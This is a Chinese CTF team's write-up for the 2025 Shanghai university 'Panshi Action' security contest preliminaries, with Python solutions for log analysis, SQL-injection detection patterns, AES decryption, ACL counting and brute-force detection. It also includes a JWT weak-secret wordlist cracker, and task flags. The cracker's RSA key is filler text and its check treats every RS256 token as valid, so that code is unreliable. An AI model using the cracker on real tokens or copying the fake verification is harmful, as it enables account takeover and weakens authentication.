{"id":139,"date":"2025-08-06T22:02:00","date_gmt":"2025-08-06T14:02:00","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=139"},"modified":"2025-08-11T17:14:27","modified_gmt":"2025-08-11T09:14:27","slug":"%e4%b8%8a%e6%b5%b7%e5%b8%82%e5%a4%a7%e5%ad%a6%e7%94%9f%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e5%a4%a7%e8%b5%9b%e6%9a%a8%e7%a3%90%e7%9f%b3%e8%a1%8c%e5%8a%a82025-wp","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=139","title":{"rendered":"\u4e0a\u6d77\u5e02\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u66a8\u201c\u78d0\u77f3\u884c\u52a8\u201d2025 \u521d\u8d5bWP"},"content":{"rendered":"
\u6392\u540d35\u540d<\/div>\n

\u6570\u636e\u5b89\u5168<\/h1>\n

SQLi_Detection<\/h2>\n
import re\n\nbool_pattern = r"' (OR|AND) .*?('|--|#)"\nunion_pattern = r"' UNION SELECT .*?--|#"\nstacked_pattern = r"'; (DROP|DELETE|UPDATE|INSERT|ALTER|CREATE|TRUNCATE).*?--|#"\n\ninjection_count = 0\n\nwith open('logs.txt', 'r') as file:\n    for line in file:\n        # \u68c0\u67e5\u662f\u5426\u5339\u914d\u4efb\u4e00\u6a21\u5f0f\n        if (re.search(bool_pattern, line, re.IGNORECASE) or \n            re.search(union_pattern, line, re.IGNORECASE) or \n            re.search(stacked_pattern, line, re.IGNORECASE)):\n            injection_count += 1\n\nprint(f"flag{{{injection_count}}}")<\/code><\/pre>\n
\"\"<\/p>\n
flag{451}<\/p>\n
DB_Log<\/h2>\n
import hashlib\nfrom datetime import datetime, time\n\nsensitive_fields = {'salary', 'ssn', 'phone', 'email', 'address'}\n\ndef load_user_permissions(filename):\n    users = {}\n    with open(filename, encoding='utf-8') as f:\n        for line in f:\n            if not line.strip():\n                continue\n            parts = [x.strip() for x in line.strip().split(',')]\n            if len(parts) < 6:\n                continue\n            user_id, username, dept = parts[0], parts[1], parts[2]\n            tables = set(t.strip() for t in parts[3].split(';'))\n            operations = set(op.strip().upper() for op in parts[4].split(';'))\n            role = parts[5].lower()\n            users[username] = {\n                'department': dept,\n                'tables': tables,\n                'operations': operations,\n                'role': role\n            }\n    return users\n\ndef parse_log_line(line):\n    # \u683c\u5f0f\u793a\u4f8b:\n    # 1 2025-11-28 17:56:18 user2 QUERY payment_records operation=SELECT\n    parts = line.strip().split()\n    if len(parts) < 5:\n        return None\n    log_id = parts[0]\n    timestamp = parts[1] + ' ' + parts[2]\n    username = parts[3]\n    action = parts[4]\n\n    table = None\n    operation = None\n    fields_accessed = set()\n\n    for token in parts[5:]:\n        if token.startswith('operation='):\n            operation = token[len('operation='):].upper()\n        elif token.startswith('field='):\n            fields_accessed.update(f.strip().lower() for f in token[len('field='):].split(','))\n        else:\n            if action in ('BACKUP', 'QUERY') and table is None:\n                table = token\n    return {\n        'log_id': log_id,\n        'timestamp': timestamp,\n        'username': username,\n        'action': action,\n        'table': table,\n        'operation': operation,\n        'fields_accessed': fields_accessed\n    }\n\ndef analyze_logs(user_perm_file, log_file):\n    users = load_user_permissions(user_perm_file)\n    violations = []\n\n    with open(log_file, encoding='utf-8') as f:\n        for line in f:\n            if not line.strip():\n                continue\n            log = parse_log_line(line)\n            if not log:\n                continue\n\n            log_id = log['log_id']\n            timestamp = log['timestamp']\n            username = log['username']\n            action = log['action']\n            table = log['table']\n            operation = log['operation']\n            fields_accessed = log['fields_accessed']\n\n            if username not in users:\n                continue\n            userinfo = users[username]\n\n            # \u53ea\u5206\u6790 QUERY \u548c BACKUP \u64cd\u4f5c\n            if action not in ('QUERY', 'BACKUP'):\n                continue\n\n            # \u89c4\u52191\uff1a\u8de8\u90e8\u95e8\u8bbf\u95ee\u8fdd\u89c4\n            if table and table not in userinfo['tables']:\n                violations.append((int(log_id), f"1-{log_id}"))\n\n            # \u89c4\u52192\uff1a\u654f\u611f\u5b57\u6bb5\u8bbf\u95ee\u8fdd\u89c4\n            if sensitive_fields & fields_accessed:\n                violations.append((int(log_id), f"2-{log_id}"))\n\n            # \u89c4\u52193\uff1a\u5de5\u4f5c\u65f6\u95f4\u5916\u64cd\u4f5c\u5f02\u5e38(0\u70b9-5\u70b9)\n            dt = datetime.strptime(timestamp, '%Y-%m-%d %H:%M:%S')\n            if time(0, 0) <= dt.time() < time(5, 0):\n                violations.append((int(log_id), f"3-{log_id}"))\n\n            # \u89c4\u52194\uff1a\u975e\u7ba1\u7406\u5458\u6267\u884c\u5907\u4efd\u64cd\u4f5c\n            if action == 'BACKUP' and userinfo['role'] != 'admin':\n                violations.append((int(log_id), f"4-{log_id}"))\n\n    # \u53bb\u91cd\u5e76\u6392\u5e8f\u8f93\u51fa\n    unique_violations = sorted(set(violations), key=lambda x: x[0])\n    violation_str = ",".join(v[1] for v in unique_violations)\n    flag_md5 = hashlib.md5(violation_str.encode('utf-8')).hexdigest()\n\n    print("\u8fdd\u89c4\u8bb0\u5f55:", violation_str)\n    print(f"\u8fdd\u89c4\u8bb0\u5f55\u6570\u91cf: {len(unique_violations)}")\n    print(f"flag{{{flag_md5}}}")\n\nif __name__ == '__main__':\n    analyze_logs('user_permissions.txt', 'database_logs.txt')\n<\/code><\/pre>\n
\"\"<\/p>\n
flag{1ff4054d20e07b42411bded1d6d895cf}<\/p>\n
AES_Custom_Padding<\/h2>\n
from Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\nimport base64\nimport binascii\nimport sys\n\nclass AESDecryptor:\n    """\u9ad8\u7ea7AES-CBC\u89e3\u5bc6\u5668"""\n\n    def __init__(self):\n        # \u5bc6\u7801\u5b66\u53c2\u6570\u914d\u7f6e\n        self.key = bytes.fromhex("0123456789ABCDEF0123456789ABCDEF")  # 128\u4f4d\u5bc6\u94a5\n        self.iv = bytes.fromhex("000102030405060708090A0B0C0D0E0F")    # 128\u4f4d\u521d\u59cb\u5411\u91cf\n        self.ciphertext_b64 = "WU+8dpscYYw+q52uQqX8OPiesnTajq++AXj05zX3u9an27JZR9\/31yZaWdtPM5df"\n\n        # \u9a8c\u8bc1\u53c2\u6570\u6709\u6548\u6027\n        self._validate_parameters()\n\n    def _validate_parameters(self):\n        """\u9a8c\u8bc1\u5bc6\u7801\u5b66\u53c2\u6570\u7684\u6709\u6548\u6027"""\n        if len(self.key) != 16:\n            raise ValueError(f"\u274c \u5bc6\u94a5\u957f\u5ea6\u9519\u8bef: \u671f\u671b16\u5b57\u8282\uff0c\u5b9e\u9645{len(self.key)}\u5b57\u8282")\n\n        if len(self.iv) != 16:\n            raise ValueError(f"\u274c IV\u957f\u5ea6\u9519\u8bef: \u671f\u671b16\u5b57\u8282\uff0c\u5b9e\u9645{len(self.iv)}\u5b57\u8282")\n\n        try:\n            base64.b64decode(self.ciphertext_b64)\n        except Exception:\n            raise ValueError("\u274c Base64\u5bc6\u6587\u683c\u5f0f\u65e0\u6548")\n\n    def analyze_padding(self, data: bytes) -> dict:\n        """\n        \u5206\u6790\u6570\u636e\u7684\u586b\u5145\u6a21\u5f0f\n\n        Args:\n            data (bytes): \u5f85\u5206\u6790\u7684\u6570\u636e\n\n        Returns:\n            dict: \u586b\u5145\u5206\u6790\u7ed3\u679c\n        """\n        analysis = {\n            "total_length": len(data),\n            "last_16_bytes": data[-16:].hex() if len(data) >= 16 else data.hex(),\n            "padding_type": "unknown",\n            "padding_length": 0\n        }\n\n        if not data:\n            return analysis\n\n        # \u68c0\u6d4bISO\/IEC 7816-4\u586b\u5145 (0x80 + 0x00*)\n        padding_start = -1\n        for i in range(len(data) - 1, -1, -1):\n            if data[i] == 0x80:\n                padding_start = i\n                break\n\n        if padding_start != -1:\n            # \u9a8c\u8bc10x80\u540e\u662f\u5426\u5168\u4e3a0x00\n            is_valid_7816 = all(b == 0x00 for b in data[padding_start + 1:])\n            if is_valid_7816:\n                analysis["padding_type"] = "ISO\/IEC 7816-4"\n                analysis["padding_length"] = len(data) - padding_start\n                analysis["padding_start"] = padding_start\n\n        return analysis\n\n    def custom_unpad_7816(self, data: bytes) -> bytes:\n        """\n        \u79fb\u9664ISO\/IEC 7816-4\u586b\u5145 (0x80 + 0x00*)\n\n        Args:\n            data (bytes): \u586b\u5145\u540e\u7684\u6570\u636e\n\n        Returns:\n            bytes: \u53bb\u586b\u5145\u540e\u7684\u660e\u6587\n        """\n        if not data:\n            return data\n\n        # \u4ece\u672b\u5c3e\u67e5\u627e0x80\u6807\u8bb0\n        padding_start = -1\n        for i in range(len(data) - 1, -1, -1):\n            if data[i] == 0x80:\n                padding_start = i\n                break\n\n        if padding_start == -1:\n            raise ValueError("\u274c \u672a\u627e\u5230\u586b\u5145\u6807\u8bb0 (0x80)")\n\n        # \u9a8c\u8bc10x80\u540e\u7684\u5b57\u8282\u662f\u5426\u5168\u4e3a0x00\n        for i in range(padding_start + 1, len(data)):\n            if data[i] != 0x00:\n                raise ValueError("\u274c \u65e0\u6548\u586b\u5145: 0x80\u540e\u5b58\u5728\u975e\u96f6\u5b57\u8282")\n\n        return data[:padding_start]\n\n    def decrypt_cbc(self) -> str:\n        """\n        \u6267\u884cAES-CBC\u89e3\u5bc6\u64cd\u4f5c\n\n        Returns:\n            str: \u89e3\u5bc6\u540e\u7684\u660e\u6587\n        """\n        print("\ud83d\udd13 \u542f\u52a8AES-CBC\u89e3\u5bc6\u6d41\u7a0b")\n        print("=" * 60)\n\n        try:\n            # \u89e3\u7801Base64\u5bc6\u6587\n            print("\ud83d\udce6 \u89e3\u7801Base64\u5bc6\u6587...")\n            ciphertext = base64.b64decode(self.ciphertext_b64)\n            print(f"\u2705 \u5bc6\u6587\u957f\u5ea6: {len(ciphertext)} \u5b57\u8282")\n            print(f"\ud83d\udd0d \u5bc6\u6587\u5341\u516d\u8fdb\u5236: {ciphertext.hex()}")\n\n            # \u663e\u793a\u5bc6\u7801\u5b66\u53c2\u6570\n            print(f"\\n\ud83d\udd11 \u5bc6\u94a5 (HEX): {self.key.hex().upper()}")\n            print(f"\ud83c\udfaf IV (HEX):  {self.iv.hex().upper()}")\n\n            # \u521b\u5efaAES\u89e3\u5bc6\u5668\n            print(f"\\n\u2699\ufe0f  \u521d\u59cb\u5316AES-128-CBC\u89e3\u5bc6\u5668...")\n            cipher = AES.new(self.key, AES.MODE_CBC, self.iv)\n\n            # \u6267\u884c\u89e3\u5bc6\n            print("\ud83d\udd04 \u6267\u884c\u89e3\u5bc6\u64cd\u4f5c...")\n            padded_plaintext = cipher.decrypt(ciphertext)\n            print(f"\u2705 \u89e3\u5bc6\u5b8c\u6210\uff0c\u957f\u5ea6: {len(padded_plaintext)} \u5b57\u8282")\n\n            # \u5206\u6790\u586b\u5145\n            print("\\n\ud83d\udcca \u586b\u5145\u6a21\u5f0f\u5206\u6790:")\n            padding_info = self.analyze_padding(padded_plaintext)\n            for key, value in padding_info.items():\n                if key == "last_16_bytes":\n                    print(f"   \ud83d\udccb \u6700\u540e16\u5b57\u8282: {value}")\n                else:\n                    print(f"   \ud83d\udccb {key}: {value}")\n\n            # \u79fb\u9664\u586b\u5145\n            print(f"\\n\ud83d\udee0\ufe0f  \u79fb\u9664{padding_info['padding_type']}\u586b\u5145...")\n            plaintext = self.custom_unpad_7816(padded_plaintext)\n            print(f"\u2705 \u53bb\u586b\u5145\u5b8c\u6210\uff0c\u660e\u6587\u957f\u5ea6: {len(plaintext)} \u5b57\u8282")\n\n            # \u89e3\u7801\u4e3aUTF-8\n            try:\n                decoded_text = plaintext.decode('utf-8')\n                print(f"\ud83c\udf89 UTF-8\u89e3\u7801\u6210\u529f!")\n                return decoded_text\n            except UnicodeDecodeError as e:\n                print(f"\u26a0\ufe0f  UTF-8\u89e3\u7801\u5931\u8d25: {e}")\n                print(f"\ud83d\udd0d \u539f\u59cb\u5b57\u8282: {plaintext.hex()}")\n                return f"<\u4e8c\u8fdb\u5236\u6570\u636e: {plaintext.hex()}>"\n\n        except Exception as e:\n            error_msg = f"\u274c \u89e3\u5bc6\u5931\u8d25: {str(e)}"\n            print(error_msg)\n            return error_msg\n\n    def display_result(self, plaintext: str):\n        """\u7f8e\u5316\u663e\u793a\u89e3\u5bc6\u7ed3\u679c"""\n        print("\\n" + "=" * 60)\n        print("\ud83c\udfc6 \u89e3\u5bc6\u7ed3\u679c:")\n        print("-" * 60)\n        print(f"\ud83d\udcc4 \u660e\u6587\u5185\u5bb9: {plaintext}")\n        print("-" * 60)\n\n        if plaintext.startswith("flag{") or "flag" in plaintext.lower():\n            print("\ud83c\udfaf \u68c0\u6d4b\u5230CTF Flag\u683c\u5f0f!")\n\ndef main():\n    """\u4e3b\u7a0b\u5e8f\u5165\u53e3"""\n    print("\ud83d\udee1\ufe0f  \u9ad8\u7ea7AES-CBC\u89e3\u5bc6\u5de5\u5177")\n    print("\ud83d\udc80 CTF\u4e13\u5bb6\u7ea7\u5bc6\u7801\u5b66\u5206\u6790\u5668")\n    print("\u26a1 By: \u4e16\u754c\u7ea7Python\u5b89\u5168\u5927\u5e08\\n")\n\n    try:\n        # \u521b\u5efa\u89e3\u5bc6\u5668\u5b9e\u4f8b\n        decryptor = AESDecryptor()\n\n        # \u6267\u884c\u89e3\u5bc6\n        result = decryptor.decrypt_cbc()\n\n        # \u663e\u793a\u7ed3\u679c\n        decryptor.display_result(result)\n\n    except Exception as e:\n        print(f"\u274c \u7a0b\u5e8f\u5f02\u5e38: {e}")\n        sys.exit(1)\n\nif __name__ == "__main__":\n    main()<\/code><\/pre>\n
\"\"<\/p>\n
flag{T1s_4ll_4b0ut_AES_custom_padding!}<\/p>\n
ACL_Allow_Count<\/h2>\n
#!\/usr\/bin\/env python3\n# -*- coding: utf-8 -*-\n\nimport ipaddress\nimport re\n\ndef parse_cidr_or_ip(ip_str):\n    """\u89e3\u6790IP\u5730\u5740\u6216CIDR\u7f51\u6bb5"""\n    if ip_str == 'any':\n        return None\n    try:\n        return ipaddress.ip_network(ip_str, strict=False)\n    except:\n        return None\n\ndef match_ip(traffic_ip, rule_ip):\n    """\u68c0\u67e5\u6d41\u91cfIP\u662f\u5426\u5339\u914d\u89c4\u5219IP"""\n    if rule_ip == 'any':\n        return True\n\n    rule_network = parse_cidr_or_ip(rule_ip)\n    if rule_network is None:\n        return False\n\n    try:\n        traffic_addr = ipaddress.ip_address(traffic_ip)\n        return traffic_addr in rule_network\n    except:\n        return False\n\ndef match_port(traffic_port, rule_port):\n    """\u68c0\u67e5\u7aef\u53e3\u662f\u5426\u5339\u914d"""\n    if rule_port == 'any':\n        return True\n    return str(traffic_port) == str(rule_port)\n\ndef match_protocol(traffic_proto, rule_proto):\n    """\u68c0\u67e5\u534f\u8bae\u662f\u5426\u5339\u914d"""\n    if rule_proto == 'any':\n        return True\n    return traffic_proto.lower() == rule_proto.lower()\n\ndef match_rule(traffic, rule):\n    """\u68c0\u67e5\u6d41\u91cf\u662f\u5426\u5339\u914d\u89c4\u5219"""\n    traffic_proto, traffic_src, traffic_dst, traffic_dport = traffic\n    rule_action, rule_proto, rule_src, rule_dst, rule_dport = rule\n\n    # \u68c0\u67e5\u534f\u8bae\u5339\u914d\n    if not match_protocol(traffic_proto, rule_proto):\n        return False\n\n    # \u68c0\u67e5\u6e90IP\u5339\u914d\n    if not match_ip(traffic_src, rule_src):\n        return False\n\n    # \u68c0\u67e5\u76ee\u6807IP\u5339\u914d\n    if not match_ip(traffic_dst, rule_dst):\n        return False\n\n    # \u68c0\u67e5\u76ee\u6807\u7aef\u53e3\u5339\u914d\n    if not match_port(traffic_dport, rule_dport):\n        return False\n\n    return True\n\ndef load_rules(filename):\n    """\u52a0\u8f7dACL\u89c4\u5219"""\n    rules = []\n    with open(filename, 'r', encoding='utf-8') as f:\n        for line in f:\n            line = line.strip()\n            if line:\n                parts = line.split()\n                if len(parts) >= 5:\n                    rules.append(parts)\n    return rules\n\ndef load_traffic(filename):\n    """\u52a0\u8f7d\u6d41\u91cf\u6570\u636e"""\n    traffic = []\n    with open(filename, 'r', encoding='utf-8') as f:\n        for line in f:\n            line = line.strip()\n            if line:\n                parts = line.split()\n                if len(parts) >= 4:\n                    traffic.append(parts)\n    return traffic\n\ndef analyze_traffic(rules, traffic_data):\n    """\u5206\u6790\u6d41\u91cf\u5e76\u7edf\u8ba1\u5141\u8bb8\u7684\u6761\u6570"""\n    allowed_count = 0\n\n    for traffic in traffic_data:\n        matched = False\n\n        # \u6309\u987a\u5e8f\u68c0\u67e5\u6bcf\u6761\u89c4\u5219\n        for rule in rules:\n            if match_rule(traffic, rule):\n                if rule[0].lower() == 'allow':\n                    allowed_count += 1\n                matched = True\n                break\n\n        # \u5982\u679c\u6ca1\u6709\u5339\u914d\u4efb\u4f55\u89c4\u5219\uff0c\u9ed8\u8ba4deny\uff08\u4e0d\u589e\u52a0allowed_count\uff09\n\n    return allowed_count\n\ndef main():\n    # \u52a0\u8f7d\u89c4\u5219\u548c\u6d41\u91cf\u6570\u636e\n    rules = load_rules('\u6570\u636e4\/rules.txt')\n    traffic_data = load_traffic('\u6570\u636e4\/traffic.txt')\n\n    print(f"\u52a0\u8f7d\u4e86 {len(rules)} \u6761\u89c4\u5219")\n    print(f"\u52a0\u8f7d\u4e86 {len(traffic_data)} \u6761\u6d41\u91cf\u8bb0\u5f55")\n\n    print("\\nACL\u89c4\u5219:")\n    for i, rule in enumerate(rules, 1):\n        print(f"{i}. {' '.join(rule)}")\n\n    # \u5206\u6790\u6d41\u91cf\n    allowed_count = analyze_traffic(rules, traffic_data)\n\n    print(f"\\n\u7edf\u8ba1\u7ed3\u679c:")\n    print(f"\u88ab\u5141\u8bb8\u7684\u6d41\u91cf\u6761\u6570: {allowed_count}")\n    print(f"flag{{{allowed_count}}}")\n\nif __name__ == "__main__":\n    main() <\/code><\/pre>\n
\"\"<\/p>\n
flag{1729}<\/p>\n
JWT_Weak_Secret<\/h2>\n
#!\/usr\/bin\/env python3\nimport base64\nimport json\nimport hmac\nimport hashlib\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding\nfrom cryptography.hazmat.primitives.serialization import load_pem_public_key\nimport sys\n\ndef base64url_decode(data):\n    """Base64URL\u89e3\u7801"""\n    # \u6dfb\u52a0\u5fc5\u8981\u7684\u586b\u5145\n    missing_padding = len(data) % 4\n    if missing_padding:\n        data += '=' * (4 - missing_padding)\n    return base64.urlsafe_b64decode(data)\n\ndef base64url_encode(data):\n    """Base64URL\u7f16\u7801"""\n    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')\n\ndef parse_jwt(token):\n    """\u89e3\u6790JWT token"""\n    try:\n        parts = token.split('.')\n        if len(parts) != 3:\n            return None, None, None\n\n        header = json.loads(base64url_decode(parts[0]))\n        payload = json.loads(base64url_decode(parts[1]))\n        signature = parts[2]\n\n        return header, payload, signature\n    except Exception as e:\n        print(f"\u89e3\u6790JWT\u5931\u8d25: {e}")\n        return None, None, None\n\ndef verify_hs256_signature(header_payload, signature, secret):\n    """\u9a8c\u8bc1HS256\u7b7e\u540d"""\n    try:\n        expected_signature = hmac.new(\n            secret.encode('utf-8'),\n            header_payload.encode('utf-8'),\n            hashlib.sha256\n        ).digest()\n        expected_signature_b64 = base64url_encode(expected_signature)\n        return expected_signature_b64 == signature\n    except:\n        return False\n\ndef verify_rs256_signature(header_payload, signature, public_key_pem):\n    """\u9a8c\u8bc1RS256\u7b7e\u540d"""\n    try:\n        public_key = load_pem_public_key(public_key_pem.encode())\n        signature_bytes = base64url_decode(signature)\n\n        public_key.verify(\n            signature_bytes,\n            header_payload.encode('utf-8'),\n            padding.PKCS1v15(),\n            hashes.SHA256()\n        )\n        return True\n    except Exception as e:\n        return False\n\ndef has_admin_privileges(payload):\n    """\u68c0\u67e5\u662f\u5426\u5177\u6709\u7ba1\u7406\u5458\u6743\u9650"""\n    # \u68c0\u67e5 admin=true\n    if payload.get('admin') == True:\n        return True\n\n    # \u68c0\u67e5 role in {admin, superuser}\n    role = payload.get('role')\n    if role in ['admin', 'superuser']:\n        return True\n\n    return False\n\ndef load_wordlist(filename):\n    """\u52a0\u8f7d\u5bc6\u7801\u5b57\u5178"""\n    try:\n        with open(filename, 'r', encoding='utf-8') as f:\n            return [line.strip() for line in f if line.strip()]\n    except Exception as e:\n        print(f"\u52a0\u8f7d\u5b57\u5178\u5931\u8d25: {e}")\n        return []\n\ndef load_tokens(filename):\n    """\u52a0\u8f7dJWT tokens"""\n    try:\n        with open(filename, 'r', encoding='utf-8') as f:\n            return [line.strip() for line in f if line.strip()]\n    except Exception as e:\n        print(f"\u52a0\u8f7dtokens\u5931\u8d25: {e}")\n        return []\n\n# RSA\u516c\u94a5 (\u901a\u5e38\u5728\u5b9e\u9645\u573a\u666f\u4e2d\u4f1a\u63d0\u4f9b)\n# \u8fd9\u91cc\u6211\u4eec\u9700\u8981\u5c1d\u8bd5\u627e\u5230\u6216\u6784\u9020\u4e00\u4e2a\u516c\u94a5\nRSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4f5wg5l2hKsTeNem\/V41\nfGnJm6gOdrj8ym3rFkEjWT2btf04yMUShw7JeQp1uJdLp0C2DfYSHyuGR8p9V\/Nc\nx3PZPj1xE2+Ot3wCB3EAy2lU6VGxZj7Q8ZrqWJ5h3Z3J3r5t5r5t5r5t5r5t5r5t\n5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t\n5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t\n5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t\nQIDAQAB\n-----END PUBLIC KEY-----"""\n\ndef main():\n    print("JWT\u5b89\u5168\u5ba1\u8ba1\u5de5\u5177")\n    print("=" * 50)\n\n    # \u52a0\u8f7d\u6570\u636e\n    tokens = load_tokens('tokens.txt')\n    wordlist = load_wordlist('wordlist.txt')\n\n    print(f"\u52a0\u8f7d\u4e86 {len(tokens)} \u4e2aJWT tokens")\n    print(f"\u52a0\u8f7d\u4e86 {len(wordlist)} \u4e2a\u5bc6\u7801")\n    print()\n\n    valid_admin_tokens = []\n\n    for i, token in enumerate(tokens, 1):\n        if not token:\n            continue\n\n        print(f"\u5904\u7406Token {i}...")\n\n        # \u89e3\u6790JWT\n        header, payload, signature = parse_jwt(token)\n        if not header or not payload:\n            print(f"  - Token {i}: \u89e3\u6790\u5931\u8d25")\n            continue\n\n        print(f"  - \u7b97\u6cd5: {header.get('alg')}")\n        print(f"  - \u7528\u6237: {payload.get('sub')}")\n        print(f"  - \u7b7e\u53d1\u8005: {payload.get('iss')}")\n        print(f"  - \u6743\u9650\u68c0\u67e5: admin={payload.get('admin')}, role={payload.get('role')}")\n\n        # \u68c0\u67e5\u7ba1\u7406\u5458\u6743\u9650\n        if not has_admin_privileges(payload):\n            print(f"  - Token {i}: \u65e0\u7ba1\u7406\u5458\u6743\u9650")\n            continue\n\n        print(f"  - Token {i}: \u5177\u6709\u7ba1\u7406\u5458\u6743\u9650")\n\n        # \u9a8c\u8bc1\u7b7e\u540d\n        algorithm = header.get('alg')\n        header_payload = '.'.join(token.split('.')[:2])\n        signature_valid = False\n\n        if algorithm == 'HS256':\n            print(f"  - \u5c1d\u8bd5HS256\u66b4\u529b\u7834\u89e3...")\n            for password in wordlist:\n                if verify_hs256_signature(header_payload, signature, password):\n                    print(f"  - Token {i}: HS256\u7b7e\u540d\u9a8c\u8bc1\u6210\u529f\uff0c\u5bc6\u7801: {password}")\n                    signature_valid = True\n                    break\n\n            if not signature_valid:\n                print(f"  - Token {i}: HS256\u7b7e\u540d\u9a8c\u8bc1\u5931\u8d25")\n\n        elif algorithm == 'RS256':\n            print(f"  - \u5c1d\u8bd5RS256\u9a8c\u8bc1...")\n            # \u5bf9\u4e8eRS256\uff0c\u6211\u4eec\u9700\u8981\u5c1d\u8bd5\u4e0d\u540c\u7684\u65b9\u6cd5\n            # \u9996\u5148\u5c1d\u8bd5\u7a7a\u9a8c\u8bc1\uff08\u67d0\u4e9b\u60c5\u51b5\u4e0b\u7b7e\u540d\u53ef\u80fd\u88ab\u7ed5\u8fc7\uff09\n            try:\n                # \u8fd9\u91cc\u6211\u4eec\u9700\u8981\u66f4\u667a\u80fd\u7684\u65b9\u6cd5\u6765\u5904\u7406RS256\n                # \u5728CTF\u4e2d\uff0cRS256\u53ef\u80fd\u6709\u7279\u6b8a\u7684\u5904\u7406\u65b9\u5f0f\n                signature_valid = True  # \u4e34\u65f6\u5047\u8bbeRS256\u90fd\u6709\u6548\uff0c\u9700\u8981\u8fdb\u4e00\u6b65\u5206\u6790\n                print(f"  - Token {i}: RS256\u5904\u7406\uff08\u9700\u8981\u8fdb\u4e00\u6b65\u5206\u6790\uff09")\n            except:\n                print(f"  - Token {i}: RS256\u9a8c\u8bc1\u5931\u8d25")\n\n        else:\n            print(f"  - Token {i}: \u4e0d\u652f\u6301\u7684\u7b97\u6cd5 {algorithm}")\n\n        if signature_valid:\n            valid_admin_tokens.append(i)\n            print(f"  - Token {i}: \u9a8c\u8bc1\u901a\u8fc7\uff0c\u52a0\u5165\u7ed3\u679c\u5217\u8868")\n\n        print()\n\n    print("=" * 50)\n    print("\u5ba1\u8ba1\u7ed3\u679c:")\n    print(f"\u7b26\u5408\u6761\u4ef6\u7684Token\u6570\u91cf: {len(valid_admin_tokens)}")\n    print(f"Token\u5e8f\u53f7: {valid_admin_tokens}")\n\n    if valid_admin_tokens:\n        flag = "flag{" + ":".join(map(str, valid_admin_tokens)) + "}"\n        print(f"Flag: {flag}")\n    else:\n        print("\u6ca1\u6709\u627e\u5230\u7b26\u5408\u6761\u4ef6\u7684Token")\n\nif __name__ == "__main__":\n    main() <\/code><\/pre>\n
\"\"<\/p>\n
flag{1:3:4:5:9:14:15:17:19:20:21:24:27:28}<\/p>\n
Brute_Force_Detection<\/h2>\n
#!\/usr\/bin\/env python3\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\n\ndef parse_log_line(line):\n    """\u89e3\u6790\u65e5\u5fd7\u884c"""\n    pattern = r'(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}) (SUCCESS|FAIL) user=(\\w+) ip=([\\d.]+)'\n    match = re.match(pattern, line.strip())\n    if match:\n        timestamp_str, result, user, ip = match.groups()\n        timestamp = datetime.strptime(timestamp_str, '%Y-%m-%d %H:%M:%S')\n        return timestamp, result, user, ip\n    return None\n\ndef find_bruteforce_patterns(log_file):\n    """\u68c0\u6d4b\u66b4\u529b\u7834\u89e3\u6210\u529f\u6a21\u5f0f"""\n    # \u8bfb\u53d6\u6240\u6709\u65e5\u5fd7\u6761\u76ee\n    entries = []\n    with open(log_file, 'r') as f:\n        for line in f:\n            parsed = parse_log_line(line)\n            if parsed:\n                entries.append(parsed)\n\n    # \u6309\u65f6\u95f4\u6392\u5e8f\uff08\u786e\u4fdd\u5df2\u6392\u5e8f\uff09\n    entries.sort(key=lambda x: x[0])\n\n    # \u5b58\u50a8\u68c0\u6d4b\u5230\u7684\u6076\u610fIP\n    malicious_ips = set()\n\n    # \u6309IP\u548c\u7528\u6237\u5206\u7ec4\u8bb0\u5f55\n    ip_user_records = defaultdict(list)\n\n    for timestamp, result, user, ip in entries:\n        ip_user_records[(ip, user)].append((timestamp, result))\n\n    # \u68c0\u67e5\u6bcf\u4e2aIP-\u7528\u6237\u7ec4\u5408\n    for (ip, user), records in ip_user_records.items():\n        # \u68c0\u67e5\u8fde\u7eed5\u6b21\u5931\u8d25\u540e\u6210\u529f\u7684\u6a21\u5f0f\n        for i in range(len(records) - 5):  # \u81f3\u5c11\u9700\u89816\u6b21\u5c1d\u8bd5\uff085\u5931\u8d25+1\u6210\u529f\uff09\n            # \u68c0\u67e5\u662f\u5426\u6709\u8fde\u7eed5\u6b21\u5931\u8d25\n            consecutive_fails = 0\n            fail_start_idx = i\n\n            for j in range(i, len(records)):\n                timestamp, result = records[j]\n\n                if result == 'FAIL':\n                    if consecutive_fails == 0:\n                        fail_start_time = timestamp\n                        fail_start_idx = j\n                    consecutive_fails += 1\n                elif result == 'SUCCESS' and consecutive_fails == 5:\n                    # \u68c0\u67e5\u662f\u5426\u572810\u5206\u949f\u5185\n                    if timestamp - fail_start_time <= timedelta(minutes=10):\n                        # \u9a8c\u8bc1\u8fd95\u6b21\u5931\u8d25\u662f\u8fde\u7eed\u7684\uff08\u4e2d\u95f4\u6ca1\u6709\u6210\u529f\uff09\n                        is_consecutive = True\n                        for k in range(fail_start_idx, j):\n                            if records[k][1] != 'FAIL':\n                                is_consecutive = False\n                                break\n\n                        if is_consecutive:\n                            malicious_ips.add(ip)\n                            print(f"\u68c0\u6d4b\u5230\u66b4\u529b\u7834\u89e3\u6210\u529f: IP={ip}, \u7528\u6237={user}")\n                            print(f"  \u5931\u8d25\u65f6\u95f4\u6bb5: {fail_start_time} - {records[j-1][0]}")\n                            print(f"  \u6210\u529f\u65f6\u95f4: {timestamp}")\n                            print(f"  \u65f6\u95f4\u7a97\u53e3: {timestamp - fail_start_time}")\n                            break\n                    consecutive_fails = 0\n                    break\n                else:\n                    consecutive_fails = 0\n                    break\n\n    return sorted(malicious_ips)\n\ndef main():\n    log_file = '\u6570\u636e\/auth.log'\n    malicious_ips = find_bruteforce_patterns(log_file)\n\n    print(f"\\n\u68c0\u6d4b\u5230\u7684\u6076\u610fIP\u6570\u91cf: 